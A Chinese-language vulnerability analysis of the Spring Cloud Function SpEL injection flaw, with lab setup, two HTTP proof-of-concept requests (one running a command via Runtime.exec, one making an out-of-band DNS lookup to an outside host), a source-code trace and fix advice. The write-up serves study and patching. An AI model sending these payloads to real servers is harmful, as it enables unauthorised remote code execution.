环境:
JDK >= 8
spring-cloud-function >= 3.1.x
靶机搭建:
wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar
漏洞描述 | Spring Cloud Function SpEL表达式注入漏洞,远程攻击者在无需认证的情况下,构造特定的数据包,在header中添加”spring.cloud.function.routing-expression”参数并携带SpEL表达式,成功利用此漏洞可实现任意代码执行。 |
---|---|
影响版本 | 3.0.0.M3 <= Spring Cloud Function <=3.2.2 |
不受影响版本 | Spring Cloud Function 4.0.0-M1(目前官方尚未正式发布) |
poc1:
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc")
Content-Length: 75
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
echo
poc2:
POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("echol.cn")
Content-Length: 4
echo
漏洞分析:
漏洞是出在SpringCloud Function的RoutingFunction功能上,其功能的目的本身就是为了微服务应运而生的,可以直接通过HTTP请求与单个的函数进行交互,同时为spring.cloud.function.definition参数提供您要调用的函数的名称。
拿之前的scfunc项目举个例子
我有一个反转字符串的函数,我如果想调用它,我可以通过如下请求来访问
POST /functionRouter HTTP/1.1
Host: localhost:8080
spring.cloud.function.definition: reverseString
Content-Type: text/plain
Content-Length: 3
abc
其结果就会在页面上输出cba,因此我们只需要在header头上指定要调用的函数名称就可以对其进行调用。
接下来就系好安全带,准备开始正文分析了
根据上述所说,漏洞是存在与header头的spring.cloud.function.routing-expression参数
我们就开始从SpringCloud Function的Controller处理来一步步往下跟入。
在org.springframework.cloud.function.web.mvc.FunctionController#post方法上下断点
程序会获取body中的参数,并传入processRequest方法中
程序会判断当前请求是否为RoutingFunction,并将请求的内容和Header头编译成Message带入到FunctionInvocationWrapper.apply方法中,随后又进入其中的doApply方法
跟进RoutingFunction的apply方法
最后进入到org.springframework.cloud.function.context.config.RoutingFunction#route方法中
在这里判断了请求headers头中有没有spring.cloud.function.routing-expression参数
并将结果带入到this.functionFromExpression()方法中
最终直接由SpelExpressionParser来解析,导致Spel表达式注入。
修复方案:
目前,Spring Cloud Function官方已针对此漏洞进行修复,但还没有发布正式版本。
建议等待官方发布修复版本或自行下载修复代码进行手动编译。
修复版本地址:https://github.com/spring-cloud/spring-cloud-function/tree/0e89ee27b2e76138c16bcba6f4bca906c4f3744f